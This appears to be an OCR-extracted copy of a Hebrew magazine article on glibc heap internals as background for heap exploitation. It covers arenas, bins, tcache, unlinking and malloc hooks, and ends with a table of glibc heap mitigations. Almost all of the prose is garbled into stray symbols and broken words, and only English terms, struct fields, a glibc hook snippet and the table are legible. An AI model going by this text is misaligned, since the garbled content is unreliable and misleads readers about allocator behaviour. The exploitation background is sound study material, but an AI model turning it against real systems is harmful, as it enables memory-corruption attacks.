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~ ~ ~ ~ ~

« + _sthallbinsxunsortedbins « _ _ * " 4ad 14> 1% X 4@ s 1« 0 X7 ]

Arenas 1

:Full Unlink
x Jargebinss 1 x s . « ¢hunk~ _ «+lY X 1 free chunkd X <! 1 x g¢hunk~ _ ~ 11 ~
L _bks xvjctim chunks + _fd-s . 1 s * {4 X (_ s> Ybipmapy x _ x 1
bks » 18 >4 X4, 1713 1-«destinations . _bks 1 x L~ ¢ victims

.destinations « fd-s 4 x ~ ¢ _ w¥ictim-s . _fd-s xvictims . _

Heaps

T, XA sexs”l 4 Lo ssiowMalloe, chunkss ok AL K Ll 49 A d A x9S

(Arenass 1 - | X " Y+« x mainarenat r 1 1St = sXx | s 7]x

s« Xss . X mdinarenas L _Heaps «. 1 _ xsox x [ X P40 5+ X X 4 ¢ Hedps

new_heap(F 1 « « x4+ 1. & Arenas. Heapsi. ~ 74 1sfTx . s

x

Kernets _ | X % 1] 4<% +brk() syscalH', + 1 ” # 4 ¥ Main arenas . _Heaps
Sxd oW T E X Y 1 . \Norfmainareng - * ~ RArenas. _Heaps T.x ~x1St.S4 €1

. Writeable)s * 4 <7 Fof % L XA . 1 X ¥ shrink_heap@ grow_heap()

a4

L s defete_heap(} ~» «~ 1", s~ s sl o, ¥ ¥4 WNonrmainarena. + 1 1 1Héaps
heap_trimQe = X~ 4~

Arenas
r - xarenasl + 1 | xmalloc_statey x + 47>, ¢ 1% L8 Heaps - -1 s "Malloc
L x!] H Aréna heaps = x .| ¥ Sfrée chunks. _~» x ¢ 1 1. Bing'» « 1+ L drdnas

~ v o~

.1 "% Heaps. [, 1.5 7L
malloc_init_state('. + 1 ¢ 1 ‘_¥nt new_arena()’'x s + 1 ¥ + 1 ~+ ¥ " Arénas

A0S d ducorey: x X4 s XL XL sArenag 1L _ 1,y _ S S
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Arena Layout

: sfruct malloc_statel * % Y) Aregnas s x Xile, « I . X |«

mutex flags have_fastchunks*

Fastbins
) 0x90
Oxa0 Oxb0
fop last_remainder
unsortedbin fd unsortedbin bk
0x20 fd 0x20 bk
000 = Smallbins
0x3f0 fd 0x3f0 bk
0x400 fd 0x400 bk
000 —— Largebins

0x80000 fd 0x80000 bk

binmap|0] binmap|1] binmap|2] binmap|3]

next next_free

attached_threads system_mem
max_system_mem

® -« % ¥ s JHeapLAB Heap Exploitation Bible, Max Kanper: Agienat @ -~ X ¥.» X@& «

X LI AN T arenas L mutexs o« Mdlloc arenaL s 1% 4+« ¢4+« ¥ mutex
- a - . - L ¥ X
x " heap

Pl TS A XX NS Kk o 4 arenas L _heaps T X o 45 11 4 4 < 1 flags,
(topchunk. ~ _ « “heap™+ 1 ~_x4T¢ x _ MallocL |

x ghunk~ _ ~«lo ! X, X 4 { «fdstbinss + « ¢ { {bogkl _ ~ x have_fastchunks

(4 . . &% *)maélloc_consolidate(J', , , * fastbind x @

DX x| LPEZ270 X« W MM {T(%)Xx*{ . Ppadding dwords s s | -s , s
flagss s ! <L Ass(1 HHE - XA

Fastbins

CX o s o x s 4 <4 % H ! bindl fastbinss * ~~ « T MallocL - X <18

mMae " W44 4 4 Ifree*chunkst 1 « 4 Cdacyclig v 1 L Yo L, X 4P A L] o x o
s:_ Y xOxbD! 0x0+r 1 o 'fréethunks «*4 € "I{4s«L~. A s | 1+« ] aréna. | fastbins
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1«7 0% 47X Sasthinss | x ‘T~ ~1 d « 0x20L ! xfreechunks. ~ 1 ¢0X2Q fasthin
.global_max_fast ” © _{ sS4 x 1T 4s % ¢ x7s y xmahlopt)s 1 « « 1A ¥Fs. 4.,

s x X fastbine b (o L X S st T chumkl | 4 XSS L oG) X . X,

“w ~

B, 4 _Aees e O)inliner 47, 14 ¥ ghunks” 4+ - x 4 d «X L arena

A~

bt oxxqpyserdatas L T x _ -quafword fagtbine ! | X)4 . R xchunks _ v . X

nultd -, fd fagtbins 4 X v X)s 4 =2 3" His X f@) forward pointer
fastbin* = x . 1 «{sleunks x s © {4 .

Size A
— fd fd fd 0x00

@ « % ¥s_ {HeapLAB Heap Exploitation Bible, Max Kanper: fagtbin. _* ~ _ XS« 1 ¥~ X&
x _fastbinx © ¥ «_ < .xJ0 ¥ « <fastbind x * ~chunk~ x . LJFO' 1 1 ¢ ¥ | Fasthins
chunks « _ ~(* € 1, , )8 § « «xs_.\Y1%. 7 {fastbine r « x L ! xchuhkst s _ « % |

fastbinx + x « ., X

~

Ll X ¥ xpodie “tcaghes s | { ¢ ¥ ¢ « X fasthins | x ¢« x . 4 1 4 _ Free_chunks
XX ewfastbin® | ox A Tdasthins 4 0 L YT x oxq x"Esxchuhk:s | W XL

~

bings 4 ¥ .x~ 1 Xx 4% X" tcacke* | x | 11

MAX_FAST SIZEX * ot . T4 84547 4% x ksl « @ x 4 2@0dB0L | xbins*
.chunk. ! xgloblal_ max fast " © _+ 4, 1T 4H A+~ xs I xy |

Top (top chunk)

topmosts x " 17s4__cRuhks « X top chunk malloc.cd x  wildernes§+ ¥ . s"{ s> *
top , 1 . x~\l _Arena_ ~ 1 -~ R v=<.‘xs,, A6 X xsyq, U ,k( J o Xs{sXx X yX sx ZLJA}X
« ~top chunks = x i ]x{ ¢ Afenar 11 1T« 4 4 444 %1 chunk

Arenax - T s pinH ox 7 s g0 s«

DX X s L. X _ynimap tresholeh - 1 s <X, 414117 1tep chunks .~ _ « |

v v A~ v o~

s 4.« "% €57 xop chunks x * heaps ' « 1 1! »s "malloc mroap(}, ~ * ~» 1 1 ¢
top chunk. | x s 4 Xxl{heap v, _ 18"!x{ top chunks - ~* {1 1714 1 + sysmalloc()

1 ”"~“ Vmalloc e 9 - $ILd~1x v'I:Of) chunk* .. © x ¥ X . Jd §f &renax % .

TH 1 XdsIcd(x wsd 1 5s _Y> _ dheaps . x X1« Jox10L ! x&FSy OSLI2atée OKdzy

CoXx : xs{ . «Outof-bounds read + * -~ ¥ fgrward consolidatiopd _ ! « 13 x 4 {7

~ v o~ v

Heaps: -~ - xX 11s2 x 4dheapss L *x s {17 1
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s 14 % L size fields - -~ ¢ top chunk* -~ * x 7 3, | ¢ £y > | s ”"Malloc
L oxchuhk: x « 9% w449 11 4 topchunk<.x L H s x I ¥ -PREV_IN_USE
L L ! x Meaps o _alignment-L v ~ x x5 x T ] Ox 0o x Xy X4 D] 44Tx 47

~

heap , 1 > «+ "s)ms qw-s L o ¥ theaps v | ¥ ¥ ~ _ x 4KB* ~» * xX 7" g ., o X
P17 dpage sizes 4 1 oL X NS A T X e He ST s x o) Xl s o se(d) o 40 .
AL IT S Dol T L st T ) s Loxsl X Y SOISAS L K . X

(paging®d 1 « X W HPXW S 4 77 A K, X 1w A4l b X7 s
Last_remainder

s~ Xss¥s x) o | xremainderings - L X~ ¢ X Chynks * X x T Jo 4 €S Cs |

-

XA Y e Ixx s of O HXE e ST . v sTreéechunke v L I X s T 0 X

remainderings * L X 4 _ - $x fos i x < xgmallhins 1 1 x X1 Xx7Esxiyxx (X

.unsortedbins _ 4 ¥ chunke (4 ~ ~~_)s

- L remaindering: L X~ 1~ 10 I s 51 gmallbins ¢ T x X X P LS ox ¥ o]

.binmap1 _ x x{uhsortedbins Aargebin

X D%« o« . 5x {%{ Jadt remainder chunk unsortedbin{ *x ‘remaindering, - *{.! |

~ * 81 H*L | x uynsortedbin
Unsortedbin

s uX 7 S sexd 4 %) ksyfreechunkss < 4 S 1 4L ¥ 4 PoxIX 4 Jxso X2 {s

~

usert 1 ¥ 7 447 xs4_ 1l _chunkK'L s » x)e X x {.x* 0 T H { Arengsd x X 7 | x

bkes 4d-S T X X | 4SE4XS« 4 ¥4 7 TN L HS 4 L 4 ] X $ S{X.. | «data
.@Kdzy 1 Qa -sYiS(heRpgs d Ly 4 x cinfiner 4~ + 4™ chunks™ 4+ .~ _ « _ S

~

— bk <« bk <l bk [ bk

® -« % s JHeapLAB Heap Exploitation Bible, Max Kaniper: Ubsortedbin. _© 1 "px IX.] 4xs< 1 Y~ X8 «

r S &~ X tcachebins ~» _ «1" st ., X $ 8 s X x4 {4 Freechunks
CXow Y s 44T s L Oxd20) tcaches 4 L L YT x X X R S, o X]w L
Pl A Feache 1 % 14 T " 10~ 1% X dfibc <=2.25) tcaches + . u , _ *ghkbg™ s *
fastbins 4 ¢ T ¥ x Ix.% s «s]_ 4 _ s xp i x ., d 44 free chunksi(c I's,

A (L PP I P A I BN 0 0 SUT NN W

~
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L | x.¥ s« smallbins* fastbins* tcache* _ x 1.1x X 1+« .« * ‘unsortedbin® _ x {1
T x %4 koebins | x 0 4 1 wnsortedbin® _ x| Hrgebinss 1 7 ] X L d T X x X x 7
LX YudX _on17ese < s xawx e 4% ehunkr ~ FIROG 14 . 1 ™ %, Xs)i0{]¢ ] s

1w 4 X AsTasaxxxds s sl xyBw 404 0 2000 S 0o x s Lo L

+ 1« Tlarbins x smallbins | x0T 4 {vxx s

L X llagt¥emaindess « X 15X « x {+14*% < unsortedbins * « 44 s « ¥ X Ehunks + -~

L XL _» XS Chunks s.» «4419 « rémaindering * x x @ x Ix M0 J 4

cx gy g s, X YT " § X x)unkortedbins |~ + S .~ € @ % . xS femaindering
(AT A xS S xS 4 s s x o XD, s s
o8y sXe o X X {ungortedbin® chunke 18! 45147 7 OKdllocr ~ % L X A
- X vyfreed L s chunks* 1w ¥ " b x g v xo ] oxgs o [T ] fuxx sy 7

S ¢ ¥ Imalloc() 4 * - tinss ' 1«8« ¢ %+« _ x Y rd 1« mdllac_consolidate()
sizet « x xt SFx*x 11% "7 |  uhsorted chunks x X _ x Lk { NON_MAIN_ARENA

C x » 19 _us_mitigationss 1 1 479X .« ssyp x k& 2% x4 G ¢ | «s)fields
Smallbins

Foordd Al xfregchunks « 4 BT w 1D iy 4 X R x4 XX 4. X

~

FS suAd_ ~0x30! 0x20+ 1 o lchukkst 4 « ~ A< ! 1+ | arenar | Smallbinsc H

smallbins s: ¥y x4 Q x 4 % %] fagsbins « _+ 1 L Nwsx { )fastbins 4 ¢ 'r¥de, | x 1

L I xfreé‘chunks. -+ 1 0x300smallbins x0x20. ! *fre€‘chunks. -+ 1 Ox204 » r1d «~ = _ s

~

.0x300
- fd bk Sams fd bk -« fd bk - fd bk Sand

=k  ___=2 =
@ « % ¥ s JHeapLAB Heapxploitation Bible, Max Kampérx * Sgmallbin. © 4 "mx x .4 I xs. 1 Yp- X6 «
~ _ ~ Unsortedbins 1 x v xS x 4 x ydmallbind * chunk™ x FIEQ" 14 ¢ 31 £ 47 * s

. 4% " 4smallbine r « X L | xchuhks. S _ ~ X, X & x gmallbinX | ¥+« 45X X <

smallbinx = ¥ <X " Cchunke S ~ « = ¥, ¥

T ast” 43 &7 dmallbins 4 0 Mo x x5 7 s x ¥ w14 cSmallbin® s 4 x4
X 40X %47 Je s QX x4 x5 7 Oxslog o fastbin® _ x  #.17 Tcache | x4 1

.bings ~ « %
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Largebins

Lor 44X x xfregchunkss « 4 15 T4 15 x4 Liyx 40 % x4 ] X% _ 4 . X«

L _r 1l ¥ X x larenar | fargebinsc 0 18 o . _rcXo e S 4 TTAX 3 )l 4 0 Dy

I'x  0x4000x430 1 x x ¢l £ 1 Ifree*chunks« 1 ¢ 0x400 largebins s:_ ¥ xsl i 0Ox400
.0X2000-0x21f0+ 1 . free thunks. 1 ¢ OK2000largebin. _ _ v

x 4% 29 X ghunks” 1 -~ x I xB arenas 1 x T X x (4 *)largebinc L __ - - s
F 4« largebins 4 X < 4 .~ _ Free chunks OK dzy { Qa -sYI&(jliikhe i+ - »bin _

unsortedbin) chunkx = ¥ «= x {7 ~ *»__ valenax - ¥ vunsortedbins | x ‘« ~ K« s

. scan

bin .~ 1 xi4x%1 chunks ~ _ X 1,1 x4 %, % HiXx oS TLargebing L _: X _ 4

chunks x ysérdata. 1 4 . arenas | x 4 x thuhks) binx @ ¥ «fds | . ! 4 ¥ 34 x
guadwords largebins | x i+« X ghunk~ _ «~ Hin-s . _bks : .~ ¢ ¥ pif-* . © x741*. s

backword-1 _ ' 1! _ xuds qw-s xfd) forward pointer] _ ! 1! _ xx{. yser datas . _ms
. bk) pointer
<> fd bk - fd bk -— fd bk -— fd bk -— fd bk —

@ - % ¥s_ {HeapLAB Heap Exploitation Bible, Max Kamper:L@rgebin + 4 v X ¢ 4§ = { "pcIx.q Ixs< 4 Y X@1 ~

X ox 8 Jargebins L« _ x < (4 )¥ ! x ¥ ¥ «chunkss ~ + 7 1% x _ «chunks
PS4y X H) skip listd 4 X (! 1x 1 ) wséridatas . _ n-s Xo-s quadwords
AL x 4R KX ks 4 p A xSt 1 %S, st HK nextsizex fd_nextsize
P x ! xTyx chunks % 1 binx T XX Isx ¥ T ox chuks foes 4 € s x 7
chunkx © H« T«f A0 X ¥ X £« Ehunkss +,1 1 kargebind x “s(” x )w ., X «

skip lists L _ rérouting) » € % ¥ 1 ™I Ty G 1 xTyx o,

~ ~

T vw~S,L 0400 ! xohdnkst - x _ <% J{1s _ X x Kargebing 4 x * *x {1
largebin* _ x  H s _ X (s> ) binmap* _ x | H 7" 1 & unsortedbins L+ S « 4 ~
»obines e s % lx Oy chunkw 4 €414« fhinss _« I xMalloc

(L -8 s s xpyx vy o XX YL eschunk, T2 X 0 $ 1T 0 sx s

~

» T, b X ¥ xTox o thurtks x s & Ix {  JSkip list* + % « _ thunk ~(1 ¥s1. <Mialloc
7. Hs uskip chunk x & oxs¢a 4 LT xsy H ] oo L
e O e x S X x 1 s ) ox ox f - gkipudists L reroute , « Xl 14 S L

(A L KO I s, x4 X Tcaches + ¥

X ¥ XthnkS LW S o w X s

~
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¢

« L, Ismallbins  _ 1 x xsf X X sl xsylx{ rémaindering: . *  _S ~» ~

Technologic

L ~ Xx « egxhausted s « x - X« xldrgebins _ "« 1 dX(ds o

¥ X S\.‘“LSJ

1,4 ¥s+ 0 9HT 1 Tvxdast remainders s | -s .. | ¥+ rerhaindered

x ss *grenas L ) largebinss smallbinss = { ¥ | igeselys « xJ s .

Binmap

XY X4 4 X lx“st

X 1 oyis] X Binss <0 X . 4sx X hmalloct, | Xk 8 { ) 4L 0 bexe

~

S A thns 4 x s %P Dy L

- A~ ~

S o ]X s Dox %

Ix2yxX | Jadgebin* x wnsortedbin® 1 1 % X AT+rd _ 1 -binmap* + 1 _ x 41

X ., TRURKS & v« L TX w2 "o XXS DX {X<T Y S | X pinssi ..

~

Jlast_remainder]

««I41 ~ | Bin unsortedbins « s «~ 14 1, s x4 X Hichunk, _ -~

TN KR ST X g ¥R L ] X xk {bin-

s ¢ 41§ 40U {Atenass L L 4L ¥ 4

_ v ~threadst + 1! _ . arenag free arenas. _: 1 1 ¥ 1. 4" k

free_list symbok « xxs§

« *Malloc s. _ « * s

L SRR I

I x B A

< Ybipmap_ x | 41

next

XK 4 | xse_

~ ~

next_free

SN

attached_threads

S farena* L 4 X« XX A

xthreadss ~

system_mem

S farenaf’, v s ] x s X 4 T FATxs, O s

max_system_mem

Cx X Achedlloc()t, o x _ dAr, X4 s, B farena, s X4 T E A X L

o solloc(d X )X, X R X Ads LAY

A9 L 4% _¢$s

X beap= X 4 o qs€
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Remaindering

» 1« x, ¥ ¥ {1 "chunksi 7 frae chunk. 1« * < 4 x., x X x ~s{ xmallocx 1 7 xx s ¢

-t 4 1 Junsortedbins  ~» _ X ~ . xchinks s. %% 4+ Ichunks 1 s+« . <9

.chunkx : ¥ ~arena

L I xchuhk« ~ 4 <isxthréads . _arenas + ~ 0xX100. ! xchuhkr s _ « &L s sX v x |
chunkx " » x Scy.q ™ s *free lists _0x300. ! xchuhks v _unlink | « ’malloc 0x300

s .« wumsortedbins _ + 4 x1w _ OX00. ! x érhainde) ~ : x chunks ¢ « 0x100L ! x ¥ X
» T ~re _Ghunks + 7 x . 4 4 €3 % s  HOx100L ! x¢Y Thunks © «~0 {4 7 ].xxiXs

S I AR BT T B SR Ip S I B S [ T (I T I T R T R N N BT S
Fdoe A s AN s X TX L 8 X QT D" xse ¢ 4 . r 47, 1 % allgcated chunks

s Ay v xs o X" % I0X4] pbsss x <heaps stacks LS Y X% M X _pxd4si 0

(7% 2 WAPELS seis 4 L

Lok - 1 2 XN yaaest _ss_ BT A Xxv X WXL ox ZZV'| X1, 04k s Sl os

1 x 0 binmap _ x | {0 s .4 fargebinss 1 x 1 x « (hss.m*4 (s >4 ) malloc()

.unsortedbin scad . s [ast_remainder
Exhausting

s « _malloc 0Q0. ! xchuhk« ~_ ¥ L arena® x0x80. ! xchuhk_ « *threadx *s .~ « _ *

cr X R X LG X T e X T D e X w8 ®ehunks L F o L T XSG ] X

~ o~ v

(0201 ¢ _ 4 " Achuhke : 1 -~ (" ¢ § 0%80: T 4)% ¥ w4l ~ 1

Unlinking

chunks +,1 " d s * freelists _+ 4 + « X J¢S4L1 ghunks~,* ~» ¥ + X « % | ¥ | s X
s A _*_ s_x LA™ ymalloct _- X ! skx J@PA OG0 A Y& SOKdays|x _ s
-+ L gachelinel x “x > 17" 15 ¥ 4 _ «xIs" | _page replacement : 1 .~ xvictim *
XTI X e, X 4 DT X sy T D4 BSPAOGAYT FNRBY OF
O x ¢ox] x X1x P htos X x 4 47 x 7 stygs 0o DX Jexqy phf o % ¥ x|

Arenas: ~ - X [1se o fréelistss v X P AL . 0 x A

House Every Weekenagjlibc Heap Exploitation
www.DigitalWhisper.co.il
M C HAOBNMX T MB-" X { Y




Technologic

:Unlinking, « * “ s¢ 4 1s. 1T 7 A
Fastbin & Tcache Unlink
chunkst _«~ x {HFO: 14 & X 4-F Rixx{,] Xx 4 4 X _ ‘Tcache bins ¥astbinss
s._ 1 _ ~+s4 x 1 wvictimchunks o _fd-s s I 1 X 1iXT s 0 S XXX ox 4,
1: 4 TPeaches « . . x 1 { ¥ _ IArenas: ~ @ x:]1si o fdstbinss + _ _ x 1T 4 _
.Tcache ~ = x |'s
Partial Unlink
1 « 17 §victim chunks . _bk-s smallbinx wnsortedbind *x s . « ¢hunk~ _ ~ 11 . * _
destination chunk¢  fd-s 4 x & ¢ bins _ « 4 - X x 0 XS Y. s[04 | A%
s 4 _ svsx X s &, x)bins |« & _bks s I xS witcimes o _bks 4,1 x 7 X

F

¥ oXostructx fos S X s %SO X 7 X

Arenas: 1 ~ . srhallbins unsortedbins

« ehunk~ _ ~+lY_ T~ 24,1, x 2. T free chunki

«~ user datar 1 + 1 chunk+  +

. x " 4 mdlloc_chunk

Full Unlink

x b7 x ghynk~ _ ~ 11~

. victimes o _bk-s ¥ « vittim chunks . _fd-s binmap_ x | {#i ¥ Jargebinss { x - _

Cowieims L _fd-s X < vittims o _bks T 1.1 « destinations L _bk-s L « (X {45 L} s

q wZI 1chunks @ * x q } XX e I X Tis » « =

~

(,,ijx:

:malloc_pars 7 * ] 3 .1 v x _malloc!

malloc_par

trim_threshold
INTERNAL_SIZE T top_pad ;
INTERNAL_SIZE_T mmap_threshold
INTERNAL_SIZE T arena_test
INTERNAL_SIZE_ T arena_max

n_mmaps
n_mmaps_max
max_n_mmaps

no_dyn_threshold

~

. ¥ destinations v _fd-s @ x { s |

x*x ¢ B 4 schunks . x § {s:

:Malloc Parameters

CHAL XA R RS 4 P

~
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INTERNAL_SIZE_T mmapped_men
INTERNAL_SIZE_T max_mmapped_men

*sbrk _base ;

size_t tcache_bins ;
size_t tcache_max_bytes

size_t tcache_count

size_ttcache_unsorted_limit

:Tcache (Thread cache)

L X yenax _¥ls " Tcachetcacher _ * . s " *s . «thread. | glibc>=226- x « , ~ ¥ *

~

S0 X e A4 R xde s 7 . Jthreads™ 4+ | ¢ % fcaches-+ 1 L drehast L

©ox X *threads T 41 * x » ]{"]4~ heap

Y _ x]_] *teaches 4 X ¥ X ., Ix{,SF « X 5 |

COUHTS FXS e s 'Se ] s X {0 xAd e d
x X« arenar 4 11 XS L 1) heaps o

B exig9+ 1 1 threads ~» _ ~+I4 ~ ~ Tthread *

s T 4%, Jiive 4 «s{iteaches L S . 1 _ S
¢ It 447 H, malloce v 4 %+~ 1 _threads
roor 1, - ® 7 {ehunkst x o _ _ *hvead
arenax @ Xp«4* 4§ - threads
Fntries — tcache_perthread_structd x *.*! v tcaches

tcachbinss c m «« 41 €21 _~MM X 4s. x| X
free-s ”> v-I"T<"“X|'A-F”'IX” I—S'i”-l\. J

~ vA ~

.tcachebin. | ¢hunks

— 0x400 0x410

® -« *% *s_{HeApLAB Heap Exploitation Bible, Max Karhper-+ & 1 thread. _heapt - L 1 = . * ttathagt s ” *Yam *6&1
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XX xss @ { iR word) wordst 4 - A oA 4 Y ¢+ 4T 5 S, x4 x4
44X 0L (< Dtharsy (1~ s 48 DX 7D x4 gl >=230" x « | . ¥
L.L ®x20-0x4101 x x14*L churks. {1 “tédache. ' 1 _

xse 4 _» e s 7« 1 fastbinst s _ xsl. x . £y s ftachebinss - x «

~ (2 ~ > ~

DX a ] T, s s X x s ,osfs , 4 "y s x| xfregschunkse 4 L % 4 Tk o]

S o, x % X%k DB xs {7 s s 4 "0¥2@tcachebins L <+ 1 ~ _ *free chunkss ~ | - 1 -

X" 10x30tcachebin

1~ ~.1 ¢ 1xttathebin_ free chunkss @ x 1 s(, )s ¢ ¥ 4,0 ¥ _~ 447 0"

tcachebin. _s ” % _ « ttache_countnjemben s ! _ s 1 ‘malloc_pars ” * ] 8 ..% s ¢

+ 19 L tcdches x L A TH L XX Y ) RiAx ¢ Xpofr 1«0 _fre@ chunkss, €, L4 ¥

- 1 x 00y ! x«y**ghunks ¢ « flee chunkst « 1 9)1 L 0x20 tcachbins + « s:_ ¥y x | |
~Le P ABingE ~os x XY 8 {7 xx *Xsf  xMalloc Ox20fastbins 1 x & L x « A

Ix il oxxx®s ox x 1 grenas 1 ", - x  {Ix . *thkread L _tcaches _: X + . < 'S

T x xp 10 x ¥ .x . 1 €hunks _int_malloc()4 * s 1:” 1. *« _Xlibc_malloc(} 1 « « 7 x|

s » « _ X! dtcachebint: ++« o thread* - % « tcaches 4 x ¢ «+ 1 .~ _ tcaches . _

S, ~ X s, thteadx @ ¥ rarenas s ¢ ] _

.chunks . metadataL - tuserdata. r 1 1 * ¥ _ X ‘tcache* @ x _ *"x] _ A
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ST echnoloqgi

Tcache Dumping/Stashing

=S L «+ 1L tcaches 1 . N ¥ xchdnks tgache* s J {4 ¢ :: x o _glbce - X+~ | ~
-s x «fasthinss { x s . « thunk~ _ « 4. arenas _s - . « % «thread ~ _ - ttache
r St 1+ ‘tcaéhebins 1 x = <binx * xx..* frde chunkss « F +1. {1 imalloc smallbins

DX T AT _J(x 11, s 4t ss X Bs x . ftashings L 4 _ X AT S Ly x sl

:\-XSX'I\.

0x20 Tcachebin 0x20 Fastbin

NvIN
NnvoN
NvIN
NvON
NvIN

0x20

0x20 Tcachebin 0x20 Fastbin

NvOoN
NnvoN
NvIN
NvoN

0x20

Allocated
0x20

v« = § <Tcachet | x.: fastbint _+ 1 ~ ‘chuhk® = x Mo X681 «

HeapLAB Heap Exploitation Bible, Max Kamper:xd¥ s
W XS X

t 1 malloc s { « «+sdL+ free chunk x «s_.. 1) uhsortedbins v S « 4% 1~ 4~ _

tcachebins + « x. ¢ {1 « “tcagéhes L s _ « sl xoyx e l{* ¢ | ¥ v« o x x schunkc |

s, «sxSghunk® - upsortedbins {1 x L xxX{ 1 4% D chunk- . *mallocx« « | | x

<

1 x ‘chunks .« «“x<tcachebins | x Xy dchuhkss _~ * X 4 T <X { 4 ("™ S (] 4 S

tcachebinx @ x
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Technologic

void* malloc(size_t bytes)

s 4 ST T x4 X X Ky X wgliber 4 " AE ST 488 {007 X
malloes ¢ x * heaps ~ x ~ d 9+« L ! xohdnk. _user datas o _1L 1 Xsn X © oy
-4 4 1 "ixs x x s ¢ x [ibc_mallocf. (. % ") aliasx " difaported symboly

~> A~

S v WIsxexe, o ™ int_malloc()
void* realloc(void* oldmem, size_t bytes)

o X X A xOldmem L 4 _r 4 tbyitess 4 C WS4 T K L HA S

-s I ss .. sl Thunks « « X X {4sXx x & | x ] [ s sX [ (8% { . «"x

~ ~1 ~ >~

s _1* ¢ _realloc() s.~ «~x ! Jchunk - ~ ¢ 1Tdldmem . _~ x .~ lolJdmem chunk

cox 0 A sfieechunke s A X H AL X 0 B A4S L oy x 4 004 41 X .
Cfree(): L xT 4+ d L™ JTbytes==0, _ ~ Sl _ss

Void free (void* mem)

DX ST, X X OIS X egliber 4, T TR s b E € L X

~

S X XS, X

~

~ X«  libc_free(L alias~ x free. x * _ 4.: 2« ¢ T mallecL S « « « 5 S

S A S s TxsIs X e o7 1A int_free(n X 4 X5

~ > A~

Malloc Hooks

Dl luox oo exg d T, 97y X x oy s "ixsTs, 45 | \) hooks: ~ . glibc
F1 o xmallger S X A os 4 L T XAl AT 4 )T G o x T e D s
14 s YL X WShodb,__ % X o« " RS 1,k ML xhaoks* - 4 1 L x4
X XVablgt 4 S, e A X RS XIS SIS S X TP e ST
malloct _» _ ~ 4« 2P Xsise glibc!.xiwv Liseoxy H4 s, " heap exploits
__after_morecore_hook
__free_hook __malloc_hook

1
1
1 __ malloc_initialize_hook
1 __memalign_hook

1

__realloc_hook

S T XX 1S v F IS MULR)F L X IS A e L X X g ]

~
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L L X 1 ~dvess mallok_hook ini(s 4 « « i x: Xsx 2f] s | ] x «malloc_hooks: _ ¥ x I
:ptmalloc_init(. -+ ~ ~ X _ymalloc_hook - |  ~ _ glibc
static void* malloc _hook ini (size_t sz, const void* caller) {
__malloc_hook = NULL;

ptmalloc_init();
return _ 1ibc malloc(sz);

}
hook~ _ « X ()8 4 « Sl X, X fx xS $ 443 XX {p X hoogk, _ |
_ ~Hooks 1 - * X X o Jekecution redirections 1 1 _ A" IX <GB 1 X
__libc_malloc(} - x 7 x : %, xs sy x(PLT/GOT hooking~ =~ 4 )€« » X I8 44 7 x|
dFox e

void* (*hook) (size_t, const void*) = atomic forced read malloc_hook);
if  builtin_expect(hook != NULL, @))
return(*hook) (bytes, RETURN_ADDRESS(@));

G 1.« KXxhooks " 1 B S

APk ™ shooksS © 4 * % . X S~ p % 7 xalixi{{*" ])glibcs 2.34s | . ¥ ]S

ST XXX Yo L ¥)w v TS

GThe deprecated memory allocatitimoks __malloc_hook, _ realloc_hook, __memalign_hook
and __free hookk N y2¢ NBY2OSR FNRY (GKS !'tL®d 6X0¢KSaS K
3t A00 FdzyQliAz2zyltAGed o6X0

The __morecore and_after_morecore_hookmalloc hooks and the default implementation
__default_morecore have been removed from the API. Existing applications will continue to link

I3 Ayald (KS&S aevyozfa odzi GKS AYyGiSNFIOSa y2 f2y3
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https://sourceware.org/pipermail/libc-alpha/2021-August/129718.html
https://patchwork.ozlabs.org/project/glibc/patch/ddf39fca-aa0a-9b14-ee78-a1bfa1225623@redhat.com/

(glibc malloc. I x s

¥ y{s” x YMitiagions

108 « LTI 44 s glibee k4 4 o B4 Y8 g SX B WS dld A s KT .
s X 4 . 7 Hitigationg ¢ * "#¥ 8 «glibce S | .Y, X L X xS oSS X DX oY
Fd v Xwe S0 x| rhaster branch | x Y reléase brancif | x| d L viX s o x ]l HL
-ox "g Isi" s 4 .Y _patching backporting, « x ¥ 7 : 1+ _ t suglibct v 4~ "4 XS
"4 $x ¥yxqFedora27 - . , backporting, « X X ] st % 1 X o (ixx 47 F 1 L¥
s x Xy o oxs O ,S® XX Xy mitigationsr libct s . - ¥ ¥ <A1 AL 0L
oo X
+ 174 sxglibgex " Jheap: 44 1 X4 I XX Y S i1 Xs 48
Commit date Pyb“Shed. n Author Description Diff
glibc version
19/08/2003 2.3.3 Ulrich Drepper | Ensure chunkdon't wrap around memory on free(). diff
21/08/2004 2.3.4 Ulrich Drepper | Safe unlinking checks. diff
Check that the chunk being freed is not the top chu
09/09/2004 23.4 Ulrich D Check the next chunk on free is not beyond the bound diff
e rch DIepper | ihe heap. Check that the next chunk has its prev_inuse an
set before free.
19/11/2004 2.3.4 Ulrich Drepper |/ KSO1 Y SEG OKdzy1 Q& aAl S &l dif
Check chunk about to be returned from fastbin is t
20/11/2004 234 Ulrich Drepper | correct size. Check that the chunk about to be returr] diff
from the unsorted bin has a sane size.
22/12/2004 2.3.4 Ulrich Drepper | Ensure a chunk is aligned on free(). diff
13/10/2005 24 Ulrich Drepper | Check chunk is at least MINSIZE bytes on free(). diff
30/04/2007 2.6 Ulrich Drepper | Unsafe unlink checks for largebins. diff
Check if bekefd != victim when allocating from a smallbi
Check if fwe>bk != bck before adding a chunk to tk
unsorted bin whilst remaindering an allocation from a la
19/06/2009 211 Ulrich Drepper | bin. Check if fwebbk != bck before adding chunk to the| diff
unsorted bin whilst remaindering an allocation from
binmap search. Check if fuebk != bck when freeing
chunk directly into the unsorted bin.
When freeing a chunk directly into a fastbin, chélcét the
03/04/2010 2.12 Ulrich Drepper | chunk at the top of the fastbin is the correct size for thf diff
bin.
17/03/2017 2.26 DJ Delorie Size vs prev_size check in unlink macro. diff
30/08/2017 2.27 Florian Weimer | Don't backtrace on abort anymore. diff
30/11/2017 2.27 Arjun Shankar | Fix integer overflow when allocating from the tcache. diff
House Every Weekenagjlibc Heap Exploitation
www.DigitalWhisper.co.il
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https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=8cc9e454dc1ad640639eab44d6c224f42b4f6c9c;hp=55e2cbc0cd3db1e539a1f5089ca1d0f8684aa67c;hb=5dfe677810a3550bc2cff4d4046261c7572fbae0;hpb=9a3a9dd8d9e03875f865a22de5296274cc18c10e
https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=206be503a824bc1742211162120d6c7a150e0d6c;hp=6e6c1053b1a82d8836772569230f97b0ea043fea;hb=3e030bd5f9fa57f79a509565b5de6a1c0360d953;hpb=51ea6fc094544328c08c367bc40a3b830b8fe7e8
